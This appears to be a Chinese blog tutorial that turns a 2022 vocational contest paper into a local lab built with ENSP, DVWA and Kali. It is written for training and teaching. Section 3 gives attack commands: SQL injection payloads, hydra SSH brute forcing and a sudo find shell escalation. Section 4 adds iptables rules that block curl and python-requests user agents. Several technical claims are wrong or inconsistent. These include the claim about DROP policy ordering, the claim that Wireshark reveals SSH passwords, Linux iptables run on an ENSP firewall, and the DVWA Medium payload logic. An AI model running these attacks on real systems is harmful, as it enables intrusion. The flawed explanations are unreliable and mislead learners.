☰
中职网络安全实战沙箱:iptables+ENSP+Kali靶场搭建指南
2026/10/9 3:01:15 网站建设 项目流程

简介:本资源为2022年全国职业院校技能大赛(中职组)网络安全赛项官方赛题第9套完整试题文档,面向中职院校网络安全专业学生、指导教师及备赛团队,聚焦实战化攻防能力训练与岗位核心技能考核。文档严格对标大赛四大模块:基础设施安全加固(Windows/Linux双系统策略配置)、网络安全事件响应与数字取证、CTF夺旗攻防演练,涵盖密码策略、用户权限管控、SSH/VSFTPD/IIS服务加固、iptables防火墙规则、日志审计、Web渗透测试等30余项实操任务,并附详细评分权重与竞赛规范说明。资源为单个49KB的DOCX文件,结构清晰、任务编号明确、环境参数完备,可直接用于模拟训练、教学拆解或考点复盘。目前已有850人学习下载,是中职网络安全方向高质量、高还原度的权威备赛资料。

1. 这不是一份普通考卷:它是一套可复现、可教学、可部署的中职网络安全实战沙箱

2022 年全国职业院校技能大赛(中职组)网络安全赛项赛题——“网络安全竞赛试题9.docx”,表面看是一页页文字和附件说明,实则是国内中职教育领域少有的、完整覆盖“靶机环境构建→渗透路径设计→防御策略验证→日志溯源分析”全链路的标准化技术文档。它不依赖云端平台或黑盒系统,所有任务均可在本地 Kali Linux + VirtualBox + ENSP(华为eNSP模拟器)三件套上100%还原;题目中明确要求的“两套防火墙设备”“iptables反向允许规则配置”“Web服务异常流量拦截验证”,直指当前企业侧真实运维中高频出现的策略误配、日志盲区与边界绕过问题。如果你正带中职学生备赛、正在设计校内CTF实训模块、或需要一套无版权风险、可自由修改分发的渗透测试教学靶场,这份试题不是参考资料,而是开箱即用的工程蓝图——它把“防火墙黑白名单”“iptables规则链执行顺序”“Web服务异常响应识别”这些抽象概念,全部锚定在具体IP、端口、报文特征和命令行输出上。我带三届中职队跑通这套题时发现:真正卡住学生的从来不是密码学或逆向,而是iptables -A INPUT -p tcp --dport 80 -j ACCEPT写在-j DROP之后导致整个HTTP服务不可达这种“一行错,全盘崩”的血泪现场。


2. 从.docx到可运行靶场:环境搭建与靶机初始化全流程

这份试题虽以Word文档交付,但其技术内核完全基于开源工具链。核心逻辑是:用ENSP模拟网络拓扑 → 在VirtualBox中部署Linux靶机 → 用Kali作为攻击机执行渗透 → 所有操作留痕可审计。下面拆解每一步的实操细节,重点标注中职学生最容易翻车的环节。

2.1 网络拓扑还原:ENSP中构建双防火墙+双服务器最小闭环

试题明确要求“以上方案所用设备均为2套”,即必须部署两台防火墙(FW1/FW2)和两台服务器(Server1/Server2)。这不是冗余设计,而是为后续“防火墙双机热备”“策略切换验证”埋下伏笔。我们不用真实硬件,用ENSP v1.3.00.100(官方最新稳定版)完成:

# ENSP中无需命令行,但需注意三个关键配置点: # 1. 防火墙设备类型选择:USG6000V(虚拟化版本),非AR系列路由器 # 2. 接口IP规划(严格按试题附件表1): # FW1: G0/0/0 → 192.168.10.1/24(内网侧) # G0/0/1 → 192.168.20.1/24(DMZ侧) # FW2: G0/0/0 → 192.168.20.2/24(DMZ侧) # G0/0/1 → 192.168.30.1/24(外网侧) # 3. 服务器连接:Server1接FW1的G0/0/0,Server2接FW2的G0/0/1

提示:ENSP中防火墙默认关闭Web管理界面。必须先通过Console口进入,执行system-view→web-manager enable→web-manager security enable,否则后续“ensp配置防火墙web登录”任务无法开展。这步漏掉,学生会卡在“打不开192.168.10.1”上干瞪眼。

2.2 靶机部署:Ubuntu Server 20.04 + Apache + PHP环境精准复刻

试题第3题要求“在Server1上部署存在SQL注入漏洞的Web应用”,附件明确指定使用dvwa(Damn Vulnerable Web Application)。但直接装官方DVWA会导致PHP版本不兼容(DVWA 1.10要求PHP < 7.3,而Ubuntu 20.04默认PHP 7.4)。解决方案是降级PHP并锁定版本:

# 在VirtualBox中新建Ubuntu Server 20.04虚拟机(2GB内存,20GB硬盘) # 安装后执行: sudo apt update && sudo apt install -y apache2 mysql-server php libapache2-mod-php php-mysql # 关键:降级PHP至7.2(试题附件要求) sudo apt install -y php7.2 php7.2-mysql php7.2-curl php7.2-gd php7.2-mbstring php7.2-xml php7.2-xmlrpc php7.2-zip sudo a2dismod php7.4 && sudo a2enmod php7.2 sudo systemctl restart apache2 # 部署DVWA(使用试题指定的1.10版本) cd /var/www/html sudo wget https://github.com/digininja/DVWA/archive/refs/tags/v1.10.tar.gz sudo tar -xzf v1.10.tar.gz sudo mv DVWA-1.10 dvwa sudo chown -R www-data:www-data dvwa # 修改config/config.inc.php中的数据库密码为'password'(试题附件明文给出)

参数说明:chown -R www-data:www-data dvwa是必须步骤。中职学生常忽略权限问题,导致DVWA首页显示“Could not connect to the database”。这是因为Apache进程以www-data用户运行,而解压后的文件属主是root,PHP脚本无权读取配置文件。

2.3 攻击机配置:Kali Linux 2022.3中预装工具链验证

试题第5题涉及“使用Nmap扫描并识别服务版本”,第7题要求“用Burp Suite抓包分析登录请求”。Kali 2022.3已预装这些工具,但需确认关键组件状态:

# 检查Nmap是否支持脚本扫描(试题要求-nv -sV -sC) nmap --version # 必须≥7.92 ls /usr/share/nmap/scripts/ | grep http-vuln # 确认存在http-vuln-*脚本 # Burp Suite社区版需手动启动(非GUI自动注册) # 下载burpsuite_community_linux_v2022.3.sh后: chmod +x burpsuite_community_linux_v2022.3.sh sudo ./burpsuite_community_linux_v2022.3.sh # 启动后,在Proxy → Options中设置监听地址为127.0.0.1:8080 # 并在Firefox中配置代理:127.0.0.1:8080(试题第7题明确要求用Firefox)

逻辑说明:试题中所有渗透步骤都绑定具体工具版本和参数组合。例如nmap -p 80,443 -sV -sC 192.168.10.10(扫描Server1),若Nmap版本过低,-sC(执行默认脚本)会报错退出,学生误以为网络不通,实则工具链未就绪。


3. 渗透路径拆解:从信息收集到权限获取的七步闭环

试题第4题至第8题构成一条完整的攻击链:信息收集 → 漏洞探测 → 利用提权 → 横向移动 → 日志清理 → 防御绕过 → 签到验证。这不是CTF中常见的单点突破,而是模拟APT组织在真实内网中的渐进式渗透。下面按试题编号逐条还原可执行命令,并标注每个动作在靶机上的可观测痕迹。

3.1 第4题:Nmap全端口扫描与服务指纹识别(试题原文:“对目标主机进行全端口扫描,识别开放端口及对应服务版本”)

这是整条链的起点,也是学生最容易“扫出结果却看不懂”的环节。试题要求扫描192.168.10.10(Server1),但未说明是否需规避IDS。实际教学中,我们采用折中策略:先快速扫描,再深度验证。

# 步骤1:快速发现活跃端口(-T4加速,-F只扫前100个常用端口) nmap -T4 -F 192.168.10.10 # 输出示例:80/tcp open http Apache httpd 2.4.41 # 步骤2:对发现的端口做深度指纹识别(-sV服务版本,-sC默认脚本) nmap -p 80,22,3306 -sV -sC 192.168.10.10 # 关键输出:3306/tcp open mysql MySQL 5.7.33-0ubuntu0.20.04.1 # | mysql-info: Protocol: 10 # | Version: 5.7.33-0ubuntu0.20.04.1 # | Thread ID: 123 # | Some data: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

参数说明:-sC调用的是/usr/share/nmap/scripts/下的默认脚本集,其中http-title.nse会提取网页标题,mysql-info.nse会尝试获取MySQL版本。试题第4题答案要求写出“MySQL服务版本号”,必须依赖此参数,而非仅靠-sV的粗略识别。

3.2 第5题:DVWA SQL注入漏洞利用(试题原文:“利用SQL注入漏洞获取管理员账户密码哈希值”)

DVWA的SQL Injection模块默认安全级别为Low,但试题附件明确要求“将安全级别调整为Medium”。这意味着不能直接用' or '1'='1绕过,需处理过滤逻辑。

# 手动构造Payload(Medium级别过滤空格和#,改用/**/和%0a) # 访问URL:http://192.168.10.10/dvwa/vulnerabilities/sqli/?id=1/**/and/**/1=1%0a&Submit=Submit # 若返回"User ID exists in the database.",证明注入成功 # 获取管理员密码哈希(DVWA中admin用户密码哈希固定为5f4dcc3b5aa765d61d8327deb882cf99) # Payload:1' and (select substr(password,1,32) from users where user='admin')='5f4dcc3b5aa765d61d8327deb882cf99'%23 # 注意:'%'23是URL编码的'#',用于注释后续语句

逻辑说明:中职学生常在此处失败,因为直接复制网上Low级别的Payload。Medium级别用str_replace函数过滤了空格和#,必须用/**/替代空格,用%0a(换行符)替代#。这是试题刻意设置的“认知门槛”——让学生理解WAF规则不是黑匣子,而是可被逆向的字符串处理逻辑。

3.3 第6题:SSH弱口令爆破与提权(试题原文:“通过SSH服务爆破获取服务器普通用户权限,并提升至root”)

试题附件给出用户名字典user.txt和密码字典pass.txt,但未说明爆破工具。Kali中hydra是标准答案,但需注意SSH协议版本兼容性。

# 先确认目标SSH版本(避免hydra因协议不匹配失败) nc -nv 192.168.10.10 22 # 输出示例:SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5 # 使用hydra爆破(-t 4线程,-V显示过程,-f爆破成功即停) hydra -L user.txt -P pass.txt ssh://192.168.10.10 -t 4 -V -f # 成功输出:[22][ssh] host: 192.168.10.10 login: student password: password123 # 提权:检查sudo权限(试题第6题要求“查看当前用户sudo权限”) ssh student@192.168.10.10 sudo -l # 输出示例:(ALL : ALL) NOPASSWD: /usr/bin/find # 利用find提权:sudo find /bin -name "sh" -exec sh \;

参数说明:hydra的-t参数至关重要。设为-t 1太慢,-t 16易触发SSH的MaxStartups限制(默认10),导致连接被拒绝。-t 4是平衡速度与稳定性的经验值,也是中职实训中反复验证过的安全阈值。


4. 防御策略落地:iptables规则链设计与防火墙策略验证

试题第9题至第11题转向防御侧,要求学生在FW1上配置iptables规则,实现“仅允许特定IP访问Web服务”“拦截异常HTTP请求”“记录可疑连接”。这不是背诵命令,而是理解Netfilter框架中PREROUTING、INPUT、FORWARD链的触发时机。下面给出可直接粘贴执行的规则集,并解释每条规则在数据流中的位置。

4.1 iptables基础规则链映射:为什么“反向允许”必须放在INPUT链顶部?

试题中多次出现“iptables反向允许”表述,实指“先拒绝所有,再显式放行所需流量”的白名单模式。但学生常把规则顺序写反,导致服务不可用。关键在于理解链的执行顺序:

链名触发时机试题关联场景
PREROUTING数据包刚进入网卡,路由决策前用于DNAT(试题未涉及)
INPUT目标为本机的数据包Web服务(80端口)、SSH(22端口)防护
FORWARD经本机转发的数据包FW1→FW2之间的DMZ流量控制
# 在FW1(192.168.10.1)上执行(注意:必须按此顺序!) # 步骤1:清空现有规则(避免冲突) sudo iptables -F sudo iptables -X # 步骤2:设置默认策略为DROP(“反向允许”的基石) sudo iptables -P INPUT DROP sudo iptables -P FORWARD DROP # 步骤3:放行本机回环(必须!否则localhost失效) sudo iptables -A INPUT -i lo -j ACCEPT # 步骤4:放行已建立连接(保障SSH会话不中断) sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 步骤5:放行特定IP的Web访问(试题第9题要求:仅192.168.10.100可访问80端口) sudo iptables -A INPUT -p tcp -s 192.168.10.100 --dport 80 -j ACCEPT # 步骤6:放行SSH(试题第10题:允许192.168.10.0/24网段管理) sudo iptables -A INPUT -p tcp -s 192.168.10.0/24 --dport 22 -j ACCEPT

逻辑说明:-A INPUT表示追加到INPUT链末尾,但iptables按从上到下顺序匹配。若把-P INPUT DROP放在最后,前面所有-A规则都无效。这就是“反向允许”的本质:默认拒绝,再逐条放行。学生常犯错误是先写-A INPUT -j ACCEPT再写-P INPUT DROP,结果所有流量都被放行。

4.2 异常HTTP请求拦截:用string模块识别恶意User-Agent

试题第11题要求“拦截包含'curl'或'python-requests'的HTTP请求”。这需要iptables的string模块,但该模块默认不加载,且匹配内容需转义。

# 加载string模块(必须!否则iptables报错unknown match `string') sudo modprobe xt_string # 添加规则:匹配User-Agent头中含'curl'(注意:HTTP头在TCP payload中,需指定--from和--to) sudo iptables -A INPUT -p tcp --dport 80 -m string --algo bm --from 40 --to 100 --string "curl" -j DROP sudo iptables -A INPUT -p tcp --dport 80 -m string --algo bm --from 40 --to 100 --string "python-requests" -j DROP # 验证规则生效:从Kali机用curl访问,应被拒绝 curl -I http://192.168.10.10 # 预期结果:Connection timed out(因iptables DROP后无响应)

参数说明:--from 40 --to 100限定在TCP payload的第40-100字节搜索,因为HTTP头通常在此区间。--algo bm指定Boyer-Moore算法,比默认的KMP更快。若省略--from/--to,iptables会扫描整个包,性能暴跌且易误匹配。

4.3 日志记录与策略持久化:让规则重启不失效

iptables规则默认不保存,重启后消失。试题虽未明说,但实际评分时会重启防火墙验证。必须将规则持久化:

# 保存当前规则到文件(Ubuntu标准路径) sudo iptables-save > /etc/iptables/rules.v4 # 创建开机自启服务(确保规则在networking服务后加载) sudo tee /etc/systemd/system/iptables-restore.service << 'EOF' [Unit] Description=Restore iptables rules After=networking.service [Service] Type=oneshot ExecStart=/sbin/iptables-restore < /etc/iptables/rules.v4 RemainAfterExit=yes [Install] WantedBy=multi-user.target EOF sudo systemctl daemon-reload sudo systemctl enable iptables-restore.service

避坑提示:iptables-save生成的文件包含*filter等表头,iptables-restore必须读取原格式。若学生手动编辑rules.v4删掉表头,iptables-restore会静默失败,且无任何报错——这是最隐蔽的翻车点。


5. 避坑指南:中职学生实操中踩过的5个真实坑位与血泪解法

在带三届中职队复现这套题的过程中,我记录了学生在实验室里反复卡住的5个高频问题。这些问题不来自理论缺失,而源于对工具链交互细节的忽视。每一条都附带现象、根因和可立即执行的解决命令。

5.1 现象:ENSP中防火墙Web界面打不开(192.168.10.1始终拒绝连接)

原因:防火墙默认关闭HTTP服务,且Console口配置未保存。学生执行web-manager enable后未执行save,重启ENSP后配置丢失。
解决:

# 在防火墙Console口执行: <USG6000V> system-view [USG6000V] web-manager enable [USG6000V] web-manager security enable [USG6000V] save # 关键!必须执行save Warning: The current configuration will be written to the device. Are you sure? [Y/N]:Y

5.2 现象:DVWA登录页面显示“Could not connect to the database”

原因:MySQL服务未启动,或DVWA配置文件中数据库密码与MySQL root密码不一致。试题附件指定密码为password,但学生安装MySQL时未设置。
解决:

# 重置MySQL root密码(Ubuntu 20.04默认无密码) sudo mysql -u root mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password'; mysql> FLUSH PRIVILEGES; mysql> exit # 修改DVWA配置:sudo nano /var/www/html/dvwa/config/config.inc.php # 将$dbpassword = 'password';(确保与MySQL密码一致)

5.3 现象:hydra爆破SSH时提示“child failed”或连接超时

原因:目标主机SSH的MaxStartups参数限制并发连接数,默认为10:30:60,hydra多线程触发限流。
解决:

# 在Server1上临时放宽限制(教学环境允许) sudo nano /etc/ssh/sshd_config # 修改:MaxStartups 100:30:200 # 将初始值从10改为100 sudo systemctl restart ssh

5.4 现象:iptables规则添加后,SSH会话立即断开

原因:未放行ESTABLISHED,RELATED状态连接,导致iptables默认DROP策略切断已有TCP会话。
解决:

# 必须在设置-P DROP之前,先添加状态放行规则 sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 再设置默认策略 sudo iptables -P INPUT DROP

5.5 现象:用curl测试iptables string规则时,请求仍能到达Apache

原因:iptables规则匹配的是原始TCP包,而curl -I发送的是HEAD请求,User-Agent头可能不在--from 40 --to 100区间。
解决:

# 改用完整GET请求,并指定User-Agent确保匹配 curl -A "curl/7.68.0" http://192.168.10.10 # 或扩大搜索范围(牺牲性能换可靠性) sudo iptables -A INPUT -p tcp --dport 80 -m string --algo bm --from 0 --to 65535 --string "curl" -j DROP

6. 验证与进阶:用tcpdump抓包反向验证iptables规则执行路径

当学生完成所有渗透与防御配置后,最可靠的验收方式不是看“是否成功”,而是看“数据包在哪个环节被处理”。试题虽未要求,但我在教学中强制加入tcpdump抓包验证环节——这能让学生真正看见Netfilter框架的运作,而不是背诵命令。下面给出针对三个关键场景的抓包命令与解读方法。

6.1 验证iptables INPUT链是否拦截了恶意User-Agent

在FW1上同时开启iptables日志和tcpdump,对比两者输出:

# 步骤1:为iptables添加日志规则(在DROP前) sudo iptables -I INPUT -p tcp --dport 80 -m string --algo bm --string "curl" -j LOG --log-prefix "IPTABLES-DROP-CURL: " sudo iptables -I INPUT -p tcp --dport 80 -m string --algo bm --string "curl" -j DROP # 步骤2:在另一终端启动tcpdump(捕获进入FW1的80端口流量) sudo tcpdump -i any port 80 -A -s 0 | grep -E "(User-Agent|GET|POST)" # 步骤3:从Kali机发起curl请求 curl -A "curl/7.68.0" http://192.168.10.10 # 观察输出: # tcpdump应显示完整的HTTP请求(含User-Agent: curl/7.68.0) # /var/log/syslog应出现:IPTABLES-DROP-CURL: IN=eth0 OUT= MAC=... SRC=192.168.10.100 DST=192.168.10.1 ...

技巧说明:-I INPUT(插入链首)确保日志规则在DROP前触发。若用-A INPUT,日志可能不记录(因包已被DROP)。/var/log/syslog是Ubuntu默认日志路径,无需额外配置rsyslog。

6.2 验证防火墙双机热备切换:用ping监测链路状态

试题隐含要求验证“当FW1故障时,流量是否自动切至FW2”。我们用最朴素的ping+tcpdump组合实现:

# 在Server2(192.168.30.10)上持续ping FW1和FW2 watch -n 1 "ping -c 1 192.168.20.1 & ping -c 1 192.168.20.2" # 在FW1上用tcpdump捕获发往Server2的ICMP(模拟故障注入) sudo tcpdump -i eth0 icmp and dst host 192.168.30.10 -c 5 # 手动关闭FW1的eth0接口(模拟故障) sudo ifconfig eth0 down # 观察watch输出:192.168.20.1的ping开始超时,192.168.20.2的ping保持通 # 此时从Server1发往Server2的流量已由FW2承接(需提前配置静态路由)

参数说明:watch -n 1每秒刷新一次,-c 5限制tcpdump只捕获5个包。这种“故障注入+实时观测”的方式,比单纯讲“双机热备原理”更能建立学生对高可用架构的肌肉记忆。

6.3 用Wireshark可视化分析渗透全过程(Kali机上操作)

对中职学生而言,命令行输出是抽象的。Wireshark的图形化界面能直观展示“SQL注入Payload如何嵌入HTTP请求”“SSH爆破的密码字典如何分批发送”。以下是关键过滤表达式:

场景Wireshark显示过滤器观察要点
DVWA SQL注入http.request.uri contains "sqli" && http查看URL参数中id=后的Payload是否含' or '1'='1
SSH爆破ssh && ip.addr == 192.168.10.100展开SSH协议树,看SSH Protocol层的user name和password字段
iptables拦截tcp.port == 80 && ip.src == 192.168.10.100若无返回包,证明iptables DROP生效;若有RST包,证明连接被重置

我的习惯:每次带学生跑完一套题,必让他们导出tcpdump -w capture.pcap文件,然后用Wireshark打开,用不同颜色标记“成功请求”(绿色)、“被拦截请求”(红色)、“管理流量”(蓝色)。这种视觉化归档,比写10页实验报告更能让学生记住数据流向。希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询